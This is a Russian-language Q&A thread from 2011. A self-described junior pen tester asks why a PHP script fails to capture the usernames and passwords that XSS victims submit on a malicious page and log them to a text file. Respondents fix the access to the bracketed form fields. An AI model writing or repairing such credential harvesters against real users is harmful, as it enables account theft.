Переменные опубликованных данных не сохраняются PHP-скриптом - PullRequest
0 голосов
/ 05 октября 2011

Я (младший) тестер пера и пытаюсь создать сценарий, чтобы продемонстрировать опасность атаки XSS на клиента.У меня есть php-скрипт, предназначенный для входа пользователя: проходите комбо, когда жертвы (т.е. я в демоверсии) перенаправляются на вредоносную страницу, которую я размещаю.

Это часть источника длялогин:

<input  type="text" id="form_login_username" name="form[login][username]" value=""       class="large" />
<input  type="password" id="form_login_password" name="form[login][password]" value="" class="large" />

Я новичок в php, так что это может быть что-то действительно основное, что является причиной проблемы.Вот мой php-скрипт для регистрации деталей:

<?PHP
$filename = "login_details.txt";
$username = $_POST["form[login][username]"]; 
$password = $_POST["form[login][password]"];
$fh = fopen($filename, "aw") or die("cannot open file");
fwrite($fh, $username . ":" . $password . "\r\n");
fclose($fh);

С этим скриптом я получаю:

 Notice: Undefined index: form[login][username] in...

И то же самое для пароля.

Я добавил вisset, чтобы увидеть, установлены ли переменные, а они нет.

Я знаю, что скрипт работает, так как я пробовал его на нескольких других простых страницах входа в систему, и он работал отлично.Единственная разница состоит в том, что переменные имени пользователя и пароля в этом случае имеют квадратные скобки - может ли это быть проблемой?Я пытался их кодировать по URL, но безрезультатно: (

Есть идеи, где я ошибаюсь? Спасибо =)

Ответы [ 3 ]

4 голосов
/ 05 октября 2011

Поскольку действительный способ доступа к вашим переменным -

$_POST['form']['login']['username']

Просто выполните var_dump($_POST); и посмотрите, что содержит ваше сообщение

1 голос
/ 05 октября 2011

Попробуйте вместо этого, в ваших атрибутах имени формы ...

name="formUsername"
name="formPasswd"

В вашем скрипте получения ...

$username = $_POST['formUsername']; 
$password = $_POST['formPasswd];
0 голосов
/ 05 октября 2011

У вас есть <form action="youscript.php" method="post"> вокруг этих полей?

...